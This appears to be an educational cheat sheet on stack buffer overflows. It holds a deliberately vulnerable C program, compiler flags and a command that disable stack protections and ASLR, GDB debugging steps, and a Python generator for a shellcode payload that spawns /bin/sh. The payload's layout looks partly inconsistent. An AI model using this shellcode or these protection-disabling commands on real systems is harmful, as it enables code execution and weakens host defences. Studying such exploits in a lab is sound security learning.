Stack Smashing
Stack smashing is a buffer overflow attack where writing past a fixed-size stack buffer overwrites adjacent stack data — most importantly the saved return address — to redirect execution.
Basic usage
A minimal vulnerable program and how it is typically built for study:
#include <stdio.h>
int main() {
char buf[16];
scanf("%s", buf); // no bounds check -> overflow
return 0;
}
# disable protections to make the overflow observable gcc vuln.c -o vuln -fno-stack-protector -no-pie -ggdb
Walkthrough
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main() {
char u[16];
volatile int p = 0;
scanf("%s", u);
if (p != 0) {
printf("How u do dat?\n");
}
else {
printf("Nope.\n");
}
return 0;
}
compile: gcc vuln.c -o vuln -fno-stack-protector -ggdb
-
gdb vuln
-
disas main (not needed)
-
list 11
-
break 10
-
break 11
-
r <<< $(python -c "print('A'*40)") this should return a segmentation fault
note the memory address:
Program received signal SIGSEGV, Segmentation fault. 0x00005555555551a0 in main () at vuln.c:17
-
confirm with
info regorp/x $rip
remove a breakpoint: del #
-
x/16x buf
-
i f
Compiler flags
-
-fno-stack-protectordisables stack smashing protection. -
-m32generate 32-bit architecture code. -
-mpreferred-stack-boundary=2stack boundary should be aligned in 4 bytes. -
-ggdbgenerate debug information compatible with the GDB debugger. -
-fno-piedisables position-independent executable (PIE) generation which randomizes the base address of the executable. -
-z execstacksets the stack as executable.
ASLR
disabling: setarch $(uname -m) -R <ELF executable>
permanently: echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Shellcode payload
import sys OFFSET = b"\x41" EIP = b"\x38\xcd\xff\xff" # PLEASE FIND THE CORRECT EIP FOR EVERY COMPUTER MEMORY ADDRESS. DO NOT USE THIS ADDRESS SINCE IT'S DIFFERENT FOR ALL COMPUTERS NOP = b"\x90" SHELLCODE = b"\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" SHELLCODE2 = b"\x31\xc0\x40\x89\xc3\xcd\x80" exploit = SHELLCODE2 + NOP*5 + EIP sys.stdout.buffer.write(exploit)